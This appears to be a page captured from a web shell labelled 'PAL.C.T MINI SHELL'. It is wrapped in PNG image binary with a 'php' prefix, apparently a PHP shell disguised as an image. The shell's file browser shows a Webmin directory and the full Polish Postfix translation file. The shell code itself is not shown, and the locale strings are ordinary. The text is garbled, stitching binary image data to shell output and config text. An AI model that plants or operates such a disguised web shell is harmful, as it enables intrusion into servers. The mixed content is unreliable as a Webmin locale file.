php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/pl.auto

connect_emysql=Nie udało się załadować sterownika bazy danych $1
connect_elogin=Nie udało się zalogować do bazy danych $1:$2.

index_esuper=Komenda administratora Postfix $1 nie istnieje. Może Twoja <a href='$2'>konfiguracja modułu</a> jest nieprawidłowa.
index_reload=Załaduj ponownie konfigurację
index_reloadmsg=Kliknij ten przycisk, aby Postfix ponownie odczytał wszystkie swoje pliki konfiguracyjne. Może to być przydatne, jeśli pliki konfiguracyjne Postfix zostały ręcznie zmodyfikowane.

check_manual=Ręcznie edytuj plik konfiguracyjny Postfix.

aliases_type6=Zastosuj plik filtru $1

postfinger_ecannot=Nie wolno sprawdzać konfiguracji Postfix

mailclean_title=Wyczyść MailQueue
mailclean_ecannot=Brak uprawnień do czyszczenia MailQueues
mailclean_active=Kolejka aktywna
mailclean_incoming=Kolejka przychodząca
mailclean_deferred=Odroczona kolejka
mailclean_defer=Odroczona kolejka
mailclean_all=Wszystkie kolejki
mailclean_search=Szukana fraza

aform_type4=Kanał do programu

asave_eaddr=„$1” nie jest prawidłowym adresem
asave_ealready=Alias dla „$1” już istnieje
asave_etype1=„$1” nie jest prawidłowym adresem e-mail
asave_etype2=Plik adresów „$1” jest nieprawidłowy lub nie istnieje
asave_etype3=„$1” nie jest prawidłową nazwą pliku
asave_etype4=„$1” nie jest prawidłowym programem lub nie istnieje
asave_etype5=Plik odpowiedzi „$1” jest nieprawidłowy
asave_etype4none=Nie podano programu
asave_etype6=Plik filtru „$1” jest nieprawidłowy

afile_title=Edytuj plik adresu
afile_desc=Użyj pola tekstowego poniżej, aby edytować adresy w pliku $1.
afile_efile=Nie możesz edytować $1.
afile_ewrite=Nie udało się zapisać do pliku adresów : $1

ffile_title=Edytuj plik filtru
ffile_desc=Skorzystaj z poniższego formularza, aby skonfigurować reguły filtrów w pliku $1.
ffile_efile=Nie możesz edytować $1.
ffile_line=Jeśli w polu $1 $2 $3, przejdź do $4
ffile_other=W przeciwnym razie przejdź do $1
ffile_err=Nie udało się zapisać pliku filtru
ffile_ematch=Brakujący mecz
ffile_eaction=Brak adresu do przekazania

rfile_title=Edytuj plik odpowiedzi automatycznej
rfile_desc=Użyj pola tekstowego poniżej, aby edytować wiadomość z automatyczną odpowiedzią w $1. Wiadomość może zawierać makra $SUBJECT, $FROM, $TO, $DATE i $BODY, które zostaną rozwinięte po aktywowaniu odpowiedzi automatycznej.
rfile_desc2=Możesz także ustawić nagłówki wiadomości, które dodają lub zastępują wartości domyślne używane w odpowiedzi automatycznej, wstawiając wiersze takie jak: <br><tt> Od: foo@bar.com </tt><br> <tt>Temat: W wakacje</tt> <br> u góry wiadomości, oddzielone od treści pojedynczym pustym wierszem.
rfile_efile=Nie możesz edytować $1.
rfile_undo=Cofnij zmiany
rfile_replies=Śledzić odpowiedzi, aby uniknąć pętli poczty?
rfile_none=Nie
rfile_file=Tak, używając pliku dziennika
rfile_period=Minimalny odstęp między odpowiedziami
rfile_default=Domyślnie (1 godzina)
rfile_secs=sekundy
rfile_ereplies=Brak pliku dziennika śledzenia odpowiedzi
rfile_eperiod=Brakująca lub niepoprawna liczba sekund między odpowiedziami
rfile_no_autoreply=Nie wysyłaj odpowiedzi automatycznych na adres
rfile_from=Od: adres do odpowiedzi
rfile_auto=Automatyczny (na podstawie adresu odbiorcy)
rfile_efrom=Brakuje od: adres
rfile_fromdesc=Adres Od: należy zawsze podawać w miarę możliwości, ponieważ metoda automatyczna może nie być wiarygodna.

opts_nomap=Nie ustawiono mapy
opts_setmap=Specyfikacje map
opts_notify_classes_sel=Wybrane poniżej

opts_edir=Możesz określić pliki map tylko w $1

opts_mailbox_size_limit=Maksymalny rozmiar skrzynki pocztowej

opts_mynetworks_subnet=Ta sama podsieć IP
opts_mynetworks_class=Ta sama klasa sieci
opts_mynetworks_host=Tylko komputer lokalny

opts_relay_recipient_maps=Mapa dozwolonych adresów do przekazywania
smtpd_nomap=Nie wprowadzono jeszcze mapy dozwolonych adresów do przekazywania.
smtpd_nomap2=Nie wprowadzono jeszcze mapy ograniczeń adresów nadawców.
smtpd_map=Dozwolone adresy do przekazywania
smtpd_map2=Ograniczenia adresów nadawców

opts_smtp_use_tls=Użyj TLS do połączeń SMTP
opts_smtp_sasl_security_options=Opcje bezpieczeństwa SASL
opts_smtp_tls_security_level=Poziom bezpieczeństwa klienta SMTP TLS

opts_edebug=Brakujący lub nieprawidłowy poziom rejestrowania pełnego - musi być liczbą większą od zera

canonical_return_sender=mapy kanoniczne nadawcy
canonical_return_recipient=odbiorca map kanonicznych
canonical_return=mapy kanoniczne

mapping_delete=Usuń wybrane
mapping_cmt=Opis
mapping_ecannot=Możesz edytować mapy tylko w $1
new_manual=Edytuj mapę ręcznie
new_manualmsg=Kliknij ten przycisk, aby ręcznie edytować pliki, z których zbudowana jest mapa.
map_noname=Brakująca lub niepoprawna nazwa odwzorowania
map_cannot=Tej mapy nie można edytować : $1
map_unknown=Webmin nie obsługuje typu mapy $1
mapping_none=Nie zdefiniowano jeszcze odwzorowań tego typu.
mapping_toomany=Istnieje $1 wpisy mapy, które przekraczają limit wyświetlania $2.
mapping_find=Pokaż pasujące odwzorowania:
mapping_search=Szukaj
mapping_match=Zamapuj wpisy plików pasujące do <tt>$1</tt> ..

opts_virtual_alias_maps=Tabele wyszukiwania odwzorowań domen
opts_virtual_alias_domains=Domeny do wykonania mapowania wirtualnego
virtual_same=Z tabel mapowania domen

transport_return=mapy transportowe

sni_title=Mapowanie certyfikatów
sni_ecannot=Nie możesz edytować konfiguracji mapowania certyfikatów
opts_sni_maps=Tabele odnośników mapowania certyfikatów
sni_return=mapy certyfikatów
sni_dom=Nazwa hosta
sni_certs=Pliki certyfikatów

relocated_return=przeniesione mapy

start_efailed=Nie udało się uruchomić Postfix
start_ecannot=Nie możesz uruchomić Postfix

acl_sni=Czy można edytować certyfikaty?
acl_sasl=Czy można edytować uwierzytelnianie SMTP?
acl_client=Czy można edytować ograniczenia klienta SMTP?
acl_master=Czy można edytować procesy serwera?
acl_startstop=Czy można uruchomić i zatrzymać postfiks?
acl_mailq=Czy można zarządzać kolejką pocztową?
acl_postfinger=Czy mogę sprawdzić konfigurację Postfiksa?
acl_manual=Czy mogę edytować plik konfiguracyjny?
acl_dir=Dozwolony katalog dla plików map

boxes_sent=Wysłany mail
boxes_ecannot=Nie możesz czytać wiadomości e-mail
boxes_toomany=W systemie jest zbyt wielu użytkowników, aby wyświetlić wszystkie ich skrzynki pocztowe.
boxes_go=Wyświetl pocztę dla użytkownika:

mail_title=E-mail użytkownika
mail_from=Od
mail_date=Data
mail_subject=Przedmiot
mail_to=Do
mail_cc=DW
mail_bcc=UDW
mail_pri=Priorytet
mail_highest=Najwyższy
mail_high=Wysoki
mail_normal=Normalna
mail_low=Niska
mail_lowest=Najniższy
mail_for=W $1
mail_for2=Dla użytkownika $1
mail_sent=Na liście wysłanych wiadomości
mail_size=Rozmiar
mail_delete=Usunąć
mail_compose=Komponować
mail_return=skrzynka użytkownika
mail_pos=Wiadomości $1 na $2 z $3
mail_none=Ta skrzynka pocztowa nie zawiera wiadomości
mail_ecannot=Nie możesz czytać wiadomości e-mail tego użytkownika
mail_all=Zaznacz wszystko
mail_invert=Odwróć wybór
mail_search=Znajdź wiadomości gdzie
mail_body=Ciało
mail_match=mecze
mail_ok=Szukaj
mail_nonefrom=Żaden
mail_mark=Oznacz jako:
mail_mark0=nieprzeczytane
mail_mark1=Czytać
mail_mark2=Specjalny
mail_forward=Naprzód
mail_rfc=Z linii
mail_move=Przenieś do:
mail_eexists=Wiadomość już nie istnieje!

view_title=Czytaj email
view_desc=Wiadomość $1 w $2
view_desc2=Wiadomość $1 dla użytkownika $2
view_desc3=Wiadomość $1
view_sent=Wiadomość $1 na liście wysłanych wiadomości
view_qdesc=Wiadomość w kolejce $1
view_headers=Nagłówki wiadomości
view_allheaders=Zobacz wszystkie nagłówki
view_noheaders=Wyświetl podstawowe nagłówki
view_attach=Załączniki
view_reply=Odpowiadać
view_reply2=Odpowiedz wszystkim
view_enew=Edytuj jako nowy
view_forward=Naprzód
view_delete=Usunąć
view_flush=Spłukać
view_strip=Usuń załączniki
view_ecannot=Nie możesz czytać wiadomości e-mail tego użytkownika
view_mark=Oznacz wiadomość jako:
view_mark0=nieprzeczytane
view_mark1=Czytać
view_mark2=Specjalny
view_return=oryginalny e-mail
view_sub=Dołączony e-mail
view_body=Wiadomość tekstowa
view_afile=Nazwa załącznika
view_atype=Typ załącznika
view_aname=Załącznik
view_asize=Rozmiar pliku

compose_title=Komponować wiadomość e-mail
reply_title=Odpowiedz na e-mail
enew_title=Edytuj adres e-mail
reply_headers=Nagłówki wiadomości
reply_attach=Przekazane załączniki
reply_mailforward=Przekazywane wiadomości
reply_attach2=Załączniki po stronie klienta i serwera
reply_send=Wyślij maila
reply_ecannot=Nie możesz wysyłać poczty jako ten użytkownik

send_err=Nie udało się wysłać poczty
send_eto=Brak adresu
send_efrom=Brak adresu od
send_title=Mail wysłany
send_ok=Wiadomość wysłano pomyślnie do $1
send_ecannot=Nie możesz wysyłać poczty jako ten użytkownik
send_esmtp=Komenda SMTP $1 nie powiodła się : $2
send_efile=Załączony plik $1 nie istnieje
send_eattach=Załączniki nie mogą w sumie przekraczać wielkości $1 kB.
send_eperms=Użytkownik $1 nie może odczytać $2
send_eperms2=Nie możesz wysłać pliku $1
send_epath=Plik wykonywalny Sendmail $1 nie istnieje.
send_ewrapper=Program interfejsu Postfix sendmail nie istnieje

search_title=Wyniki wyszukiwania
search_ecannot=Nie możesz przeszukiwać wiadomości e-mail tego użytkownika
search_ematch=Musisz wpisać tekst, aby dopasować.
search_efield=Musisz wybrać typ wyszukiwania.
search_none=Nie znaleziono wiadomości.
search_results2=$1 wiadomości e-mail pasujące $2 ..
search_results3=$1 wiadomości e-mail niepasujące $2 ..

match_from=Od: mecze
match_subject=Temat: mecze
match_to=Do: mecze
match_cc=DW: dopasowania
match_date=Data: mecze
match_body=Dopasowane ciała
match_size=Rozmiar jest większy niż
match_headers=Nagłówki pasują
match_=-----------------
match_!from=Od: nie pasuje
match_!subject=Temat: nie pasuje
match_!to=Do: nie pasuje
match_!cc=DW: nie pasuje
match_!date=Data: nie pasuje
match_!body=Ciało nie pasuje
match_!size=Rozmiar jest mniejszy niż
match_!headers=Nagłówki się nie zgadzają

mailq_title=Kolejka pocztowa
mailq_count=$1 wiadomości
mailq_none=Żadne wiadomości e-mail nie są obecnie w kolejce do dostarczenia
mailq_id=Identyfikator poczty
mailq_date=Wysłano
mailq_from=Od
mailq_to=Do
mailq_cc=DW
mailq_subject=Przedmiot
mailq_return=kolejka pocztowa
mailq_delete=Usuń wybrane wiadomości
mailq_size=Rozmiar
mailq_ecannot=Nie możesz przeglądać kolejki pocztowej
mailq_egone=Wiadomość nie jest już w kolejce
mailq_status=Status
mailq_flush=Opróżnij kolejkę poczty
mailq_flushdesc=Kliknij ten przycisk, aby wymusić natychmiastowe dostarczenie wszystkich wiadomości w kolejce i wyświetlić wyniki.
mailq_refresh=Odśwież kolejkę poczty
mailq_refreshdesc=Załaduj ponownie tę stronę, aby wyświetlić bieżący stan kolejki pocztowej.
mailq_deleteall=Wyczyść kolejkę poczty
mailq_deletealldesc=Kliknij ten przycisk, aby usunąć wszystkie wiadomości z kolejki pocztowej.
mailq_search=Znajdź w kolejce wiadomości gdzie
mailq_move=Requeue Selected
mailq_incoming=Przychodzący
mailq_active=Aktywny
mailq_deferred=Odroczony
mailq_hold=Przytrzymaj wybrane
mailq_unhold=Un-Hold Selected

flushq_title=Kolejka do spłukiwania
flushq_desc=Wymuszanie próby dostarczenia poczty za pomocą polecenia $1 ..

qview_title=Wiadomość w kolejce
qview_attach=Załączniki

searchq_title=Wyniki wyszukiwania w kolejce
searchq_none=Nie znaleziono wiadomości w kolejce.

header_ecannot=Nie możesz edytować kontroli nagłówków
header_eregexp=Mapa kontroli nagłówków musi mieć format <tt>regexp:</tt> <i>nazwa_pliku</i>
opts_header_checks=Tabele sprawdzania nagłówków MIME
header_value=Akcja dla meczów
header_discard=Odrzuć (z komunikatem dziennika...)
header_hold=Umieść w kolejce wstrzymania (z komunikatem dziennika...)
header_prepend=Dodaj tekst. ..
header_redirect=Przekieruj na adres ..
header_replace=Zamień na tekst ..
header_reject=Odrzuć (z komunikatem o błędzie..)
header_warn=Ostrzeżenie dziennika (z komunikatem..)
header_ename=Nieprawidłowe wyrażenie regularne - musi być jak / coś /
header_return=kontrole nagłówków

body_title=Kontrole ciała
body_ecannot=Nie możesz edytować kontroli ciała
body_eregexp=Mapa kontroli treści musi mieć format <tt>regexp:</tt> <i>nazwa_pliku</i>
opts_body_checks=Tabele sprawdzające treść wiadomości
body_return=kontrole ciała

dependent_title=Mapowanie transportu zależne od nadawcy
dependent_ecannot=Nie możesz edytować map transportowych zależnych od nadawcy
dependent_eregexp=Mapa transportów zależna od nadawcy musi mieć format <tt>regexp:</tt> <i>nazwa_pliku</i>
dependent_return=mapowania transportu zależne od nadawcy

manual_title=Edytuj plik mapy
manual_file=Wybierz plik mapy do edycji:
manual_change=Zmiana
manual_editing=Użyj pola tekstowego poniżej, aby ręcznie edytować mapowania w $1. Bądź ostrożny, ponieważ nie zostanie wykonane sprawdzanie składni ani poprawności.
manual_err=Nie udało się zapisać pliku mapy
manual_efile=Nieprawidłowa nazwa pliku mapy!
manual_ecannot=Nie możesz ręcznie edytować plików map

delq_rusure=Czy na pewno chcesz usunąć wybrane w kolejce wiadomości $1?

master_enabled=Włączony?
master_type=Rodzaj transportu
master_unpriv=Nieuprzywilejowany?
master_chroot=Chrootowany?
master_unix=Gniazdo Unix
master_fifo=Nazwana rura
master_add=Dodaj nowy proces serwera.
master_ecannot=Nie możesz edytować procesów serwera
master_edit=Edytuj proces serwera
master_create=Utwórz proces serwera
master_header=Szczegóły procesu serwera Postfix
master_host=Słuchaj na adresie hosta
master_any=Dowolny adres
master_private2=System prywatny do poczty?
master_unpriv2=Uruchomić jako użytkownik Postfix?
master_chroot2=Chroot do katalogu kolejek pocztowych?
master_defyes=Domyślnie (Tak)
master_command=Przetwarzaj polecenie
master_wakeup=Automatycznie proces budzenia?
master_wtime=Po $1 sekund
master_wused=Tylko jeśli faktycznie jest używany
master_procs=Co najwyżej $1
master_egone=Proces serwera już nie istnieje!
master_eclash=Proces serwera o tej samej nazwie i typie transportu już istnieje
master_err=Nie udało się zapisać procesu serwera
master_ename=Brakująca lub nieprawidłowa nazwa lub port serwera
master_ehost=Niepoprawny adres hosta do nasłuchiwania
master_einet=Adres hosta, na którym należy nasłuchiwać, można określić tylko dla procesów internetowych
master_ecommand=Brak polecenia procesu serwera
master_ewakeup=Brakujący lub nieprawidłowy czas budzenia
master_emaxprocs=Brakująca lub nieprawidłowa maksymalna liczba procesów

delete_err=Nie udało się usunąć mapowań

cmanual_efile=Wybrany plik nie jest częścią konfiguracji Postfix
cmanual_err=Nie udało się zapisać pliku konfiguracyjnego

access_return=tabela map dostępu
opts_reject_rbl_client=Wyszukiwanie czarnych list w czasie rzeczywistym (RBL)
opts_check_sender_access=Sprawdź tabelę map dostępu do nadawcy

log_misc=Zmieniono opcje ogólne
log_opts=Zmieniono przepisywanie i maskowanie adresów
log_canonical=Zmiana kanonicznych opcji mapowania
log_virtual=Zmieniono opcje domeny wirtualnej
log_transport=Zmieniono opcje mapowania transportu
log_sni=Zmień opcje mapowania certyfikatów
log_dependent=Zmieniono opcje adresu zależne od nadawcy
log_relocated=Zmieniono opcje mapowania lokalizacji
log_header=Zmieniono opcje sprawdzania nagłówka
log_debug=Zmieniono funkcje debugowania
log_ldap=Zmieniono wyszukiwanie LDAP
log_local=Zmieniono dostawę lokalną
log_rate=Zmieniono stawki dostawy
log_resource=Zmieniono ogólną kontrolę zasobów
log_smtp=Zmieniono opcje klienta SMTP
log_smtpd=Zmieniono opcje serwera SMTP
log_delete_aliases=Usunięte aliasy $1
log_virtual_alias_maps_create=Utworzono domenę wirtualną $1
log_virtual_alias_maps_modify=Zmodyfikowana domena wirtualna $1
log_virtual_alias_maps_delete=Usunięto domenę wirtualną $1
log_delete_virtual_alias_mapss=Usunięte domeny wirtualne $1
log_manual_virtual_alias_mapss=Ręcznie edytowane domeny wirtualne w $1
log_virtual_maps_create=Utworzono domenę wirtualną $1
log_virtual_maps_modify=Zmodyfikowana domena wirtualna $1
log_virtual_maps_delete=Usunięto domenę wirtualną $1
log_delete_virtual_mapss=Usunięte domeny wirtualne $1
log_manual_virtual_mapss=Ręcznie edytowane domeny wirtualne w $1
log_canonical_maps_create=Utworzono kanoniczne odwzorowanie $1
log_canonical_maps_modify=Zmodyfikowane odwzorowanie kanoniczne $1
log_canonical_maps_delete=Usunięto mapowanie kanoniczne $1
log_delete_canonical_mapss=Usunięto <kanoniczne mapowania $1
log_manual_canonical_mapss=Ręcznie edytowane odwzorowania kanoniczne w $1
log_recipient_canonical_maps_create=Utworzono kanoniczne mapowanie adresata $1
log_recipient_canonical_maps_modify=Zmodyfikowane kanoniczne mapowanie adresata $1
log_recipient_canonical_maps_delete=Usunięto kanoniczne mapowanie adresata $1
log_delete_recipient_canonical_mapss=Usunięto kanoniczne mapowania odbiorcy $1
log_manual_recipient_canonical_mapss=Ręcznie edytowane odwzorowania kanoniczne adresatów w $1
log_sender_canonical_maps_create=Utworzono kanoniczne mapowanie nadawcy $1
log_sender_canonical_maps_modify=Zmodyfikowane kanoniczne mapowanie nadawcy $1
log_sender_canonical_maps_delete=Usunięto kanoniczne mapowanie nadawcy $1
log_delete_sender_canonical_mapss=Usunięto kanoniczne odwzorowania $1 nadawcy
log_manual_sender_canonical_mapss=Ręcznie edytowane mapowania kanoniczne nadawcy w $1
log_transport_maps_create=Utworzono mapowanie transportu $1
log_transport_maps_modify=Zmodyfikowane mapowanie transportu $1
log_transport_maps_delete=Usunięto mapowanie transportu $1
log_delete_transport_mapss=Usunięto mapowania transportu $1
log_manual_transport_mapss=Ręcznie edytowane mapowania transportu w $1
log_relocated_maps_create=Utworzono przeniesione mapowanie $1
log_relocated_maps_modify=Zmodyfikowane przeniesione mapowanie $1
log_relocated_maps_delete=Usunięto przeniesione mapowanie $1
log_delete_relocated_mapss=Usunięte $1 przeniesione mapowania
log_manual_relocated_mapss=Ręcznie edytowane przeniesione odwzorowania w $1
log_header_checks_create=Utworzono sprawdzenie nagłówka $1
log_header_checks_modify=Zmodyfikowane sprawdzenie nagłówka $1
log_header_checks_delete=Usunięto sprawdzenie nagłówka $1
log_delete_header_checkss=Usunięto kontrole nagłówka $1
log_manual_header_checkss=Ręcznie edytowane sprawdzenie nagłówków w $1
log_body_checks_create=Utworzono kontrolę treści $1
log_body_checks_modify=Zmodyfikowano sprawdzenie treści $1
log_body_checks_delete=Usunięto kontrolę treści $1
log_delete_body_checkss=Usunięto kontrole treści $1
log_manual_body_checkss=Ręcznie edytowane kontrole treści w $1
log_master_create=Utworzono proces serwera $1
log_master_modify=Zmodyfikowany proces serwera $1
log_master_delete=Usunięto proces serwera $1
log_manual=Ręcznie edytowany plik konfiguracyjny $1
log_stop=Zatrzymano serwer Postfix
log_start=Uruchomiono serwer Postfix
log_reload=Ponownie załadowano konfigurację Postfix
log_delqs=Usunięto wiadomości $1 z kolejki pocztowej
log_flushq=Opróżniona kolejka pocztowa
log_sasl=Zmieniono uwierzytelnianie i szyfrowanie SMTP
log_client=Zmieniono ograniczenia klienta SMTP
log_sender_dependent_default_transport_maps_create=Utworzono adres zależny od nadawcy $1
log_sender_dependent_default_transport_maps_modify=Zmodyfikowany adres zależny od nadawcy $1
log_sender_dependent_default_transport_maps_delete=Usunięto adres zależny od nadawcy $1
log_delete_sender_dependent_default_transport_mapss=Usunięte $1 adresy zależne od nadawcy
log_manual_sender_dependent_default_transport_mapss=Ręcznie edytowane adresy zależne od nadawcy w $1

sasl_title=Uwierzytelnianie i szyfrowanie SMTP
opts_smtp_sasl_auth_enable=Używać uwierzytelnienia SASL SMTP?
opts_smtpd_tls_auth_only=Zezwolić na uwierzytelnianie SASL przez niebezpieczne połączenia?
opts_broken_sasl_auth_clients=Obsługiwać niezgodnych klientów SMTP?
sasl_opts=Opcje bezpieczeństwa SMTP
sasl_noanonymous=Odrzuć anonimowe loginy
sasl_noplaintext=Odrzuć loginy w postaci zwykłego tekstu
opts_smtpd_delay_reject=Opóźniasz klientów, których logowanie się nie powiodło?
sasl_recip=Ograniczenia odbiorców SMTP
sasl_relay=Ograniczenia przekaźnika SMTP
sasl_permit_mynetworks=Zezwalaj na połączenia z tej samej sieci
sasl_permit_sasl_authenticated=Zezwalaj uwierzytelnionym klientom
sasl_reject_unauth_destination=Odrzuć e-mail do innych domen
sasl_permit_inet_interfaces=Zezwalaj na połączenia z tego systemu
sasl_reject_unknown_reverse_client_hostname=Odrzuć klientów bez odwrotnej nazwy hosta
sasl_reject_unknown_client=Odrzuć klientów bez odwrotnej nazwy hosta
sasl_check_relay_domains=Zezwalaj tylko na domeny przekazywania
sasl_permit_mx_backup=Zezwalaj na domeny, dla których ten system jest zapasowym MX
sasl_permit_tls_all_clientcerts=Zezwalaj klientom TLS na dowolny certyfikat
sasl_reject_unauth_pipelining=Odrzuć wczesne polecenia SMTP
sasl_check_client_access=Sprawdź mapę dostępu klienta :
sasl_reject_rbl_client=Odrzuć, jeśli adres IP klienta znajduje się w RBL :
sasl_reject_rhsbl_client=Odrzuć, jeśli nazwa hosta klienta jest w RBL :
opts_smtpd_tls_CAfile=Plik urzędu certyfikacji TLS
opts_smtp_enforce_tls=Wymagać szyfrowania TLS?
sasl_err=Nie udało się zapisać uwierzytelnienia i szyfrowania SMTP
sasl_ecert=Brakujący lub nieprawidłowy plik certyfikatu TLS
sasl_ekey=Brakujący lub nieprawidłowy plik klucza TLS
sasl_eca=Brakujący lub nieprawidłowy plik urzędu certyfikacji TLS
sasl_level_none=Nigdy
sasl_level_may=Na życzenie klienta
sasl_level_encrypt=Zawsze
sasl_level_dane=Opportunistic DANE TLS
sasl_level_dane_only=Obowiązkowe DANE TLS
sasl_level_fingerprint=Weryfikacja odcisku palca certyfikatu
sasl_level_verify=Obowiązkowa weryfikacja TLS
sasl_level_secure=Bezpieczny kanał TLS
sasl_login=Logowanie SMTP do hosta poczty wychodzącej
sasl_nologin=Nie potrzebne
sasl_userpass=Zaloguj się jako $1 za pomocą hasła $2
sasl_elogin=Brakujące lub nieprawidłowe logowanie SMTP (bez spacji i dwukropków)
sasl_epass=Nieprawidłowe hasło SMTP (bez spacji)

client_ecannot=Nie możesz edytować ograniczeń klienta SMTP
client_other=Inne ograniczenia :
client_err=Nie udało się zapisać ograniczeń klienta
client_evalue=Brak wartości ograniczenia $1

chooser_title=Wybierz źródło mapy
chooser_header=Źródło mapy $1
chooser_none=Żaden
chooser_hash=Plik mapowania
chooser_regexp=Plik Regexps
chooser_pcre=Plik wyrażeń regularnych w stylu Perla
chooser_other=Inne źródło
chooser_mysql=Baza danych MySQL
chooser_mysqlsrc=Źródło MySQL
chooser_mhosts=Hosty serwerów MySQL
chooser_muser=Logowanie do bazy danych
chooser_mpassword=Hasło bazy danych
chooser_mdbname=Nazwa bazy danych
chooser_mtable=Tabela zawierająca mapę
chooser_mselect_field=Pole wartości
chooser_mwhere_field=Kluczowe pole
chooser_madditional_conditions=SQL dla klauzuli <tt>where</tt>
chooser_err=Nie udało się zapisać źródła mapy
chooser_ehash=Brakująca lub nieprawidłowa nazwa pliku mapowania dla mapy $1
chooser_eregexp=Brakująca lub niepoprawna nazwa pliku wyrażeń regularnych dla mapy $1
chooser_epcre=Brakująca lub niepoprawna nazwa pliku wyrażeń regularnych zgodnych z Perlem dla mapy $1
chooser_eother=Brakujące lub nieprawidłowe inne źródło mapy $1
chooser_enone=Nie wprowadzono
chooser_emhosts=Brak hostów serwera MySQL dla mapy $1
chooser_emuser=Brakujący lub nieprawidłowy login bazy danych dla mapy $1
chooser_empassword=Brakujące lub nieprawidłowe hasło do bazy danych dla mapy $1
chooser_emdbname=Brakująca lub niepoprawna nazwa tabeli dla mapy $1
chooser_emselect_field=Brakujące lub nieprawidłowe pole wartości dla mapy $1
chooser_emwhere_field=Brakujące lub nieprawidłowe pole klucza dla mapy $1
chooser_emadditional=Brak dodatkowych warunków SQL dla mapy $1
chooser_mquery=Niestandardowe zapytanie dotyczące mapy
chooser_emquery=Brak niestandardowego zapytania dla mapy
chooser_lserver_host=Hosty serwerów LDAP
chooser_lserver_port=Port LDAP
chooser_lstart_tls=Używać szyfrowania TLS?
chooser_lsearch_base=Podstawowa nazwa DN wyszukiwania LDAP
chooser_lquery_filter=Filtr zapytań
chooser_lresult_attribute=Atrybut wyniku
chooser_lscope=Zakres wyszukiwania
chooser_lsub=Całe poddrzewo
chooser_lone=Jeden poziom
chooser_lbase=Tylko baza
chooser_lbind=Zaloguj się do serwera LDAP?
chooser_lbind_dn=Logowanie do serwera
chooser_lbind_pw=Hasło serwera
chooser_ldap=Serwer LDAP
chooser_lfilter=Inny filtr
chooser_lattribute=Inny atrybut
chooser_elserver_host=Brak hostów serwera LDAP dla mapy $1
chooser_elserver_port=Brakujący lub nieprawidłowy port serwera LDAP dla mapy $1
chooser_elsearch_base=Brak bazy wyszukiwania LDAP dla mapy $1
chooser_elquery_filter=Brak filtru zapytań dla mapy $1
chooser_elresult_attribute=Brak lub niepoprawna nazwa atrybutu wyniku dla mapy $1
chooser_elbind_dn=Brak logowania do serwera LDAP dla mapy $1
chooser_elbind_pw=Brakuje hasła do serwera LDAP dla mapy $1

mysql_ecfile=Plik konfiguracyjny MySQL $1 nie został znaleziony
mysql_ecfile2=Nie można znaleźć tabeli w pliku konfiguracyjnym MySQL $1
mysql_edriver=Nie udało się załadować sterownika bazy danych $1
mysql_elogin=Nie udało się zalogować do bazy danych $1:$2.
mysql_equery=Nie można wykonać zapytania do tabeli $1 : $2 
mysql_eadd=Wstawianie SQL nie powiodło się : $1
mysql_edelete=Usunięcie SQL nie powiodło się : $1
mysql_eupdate=Aktualizacja SQL nie powiodła się : $1
mysql_elist=Zapytanie SQL nie powiodło się : $1
mysql_esource=Nie znaleziono źródła MySQL o nazwie $1
mysql_eneed=Nie znaleziono parametru konfiguracyjnego MySQL $1. Webmin potrzebuje tego, aby dowiedzieć się, do której tabeli i pól należy wysłać zapytanie.

ldap_ecfile=Plik konfiguracyjny LDAP $1 nie został znaleziony
ldap_eldapmod=Moduł Perla $1 potrzebny do komunikacji z LDAP nie jest zainstalowany lub nie można go załadować
ldap_eldap=Nie można połączyć się z serwerem LDAP $1 na porcie $2
ldap_eldaplogin=Logowanie do serwera LDAP $1 nie powiodło się jako $2 : $3 
ldap_ebase=Podstawowa nazwa wyróżniająca LDAP $1 jest niepoprawna : $2
ldap_eadd=Nie powiodło się dodanie LDAP $1 : $2 
ldap_edelete=Usunięcie LDAP $1 nie powiodło się : $2
ldap_equery=Wyszukiwanie LDAP $1 nie powiodło się : $2
ldap_erename=Zmiana nazwy LDAP na $1 na $2 nie powiodła się : $3
ldap_emodify=Modyfikacja LDAP $1 nie powiodła się : $2

opts_sender_bcc_maps=Tablice wyszukiwania odwzorowań BCC nadawcy
opts_recipient_bcc_maps=Odbiorcze tabele wyszukiwania odwzorowań BCC
bcc_sender=Odwzorowania nadawców
bcc_recipient=Odwzorowania odbiorców
bcc_senderdesc=Odwzorowania BCC nadawcy definiują dodatkowy adres e-mail, na który będą wysyłane <b>z</b> adresów lub domen wymienionych na liście BCCd.
bcc_recipientdesc=Odwzorowania BCC adresata definiują dodatkowy adres e-mail, na który będą wysyłane <b>na</b> adresy lub domeny wymienione na BCCd.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`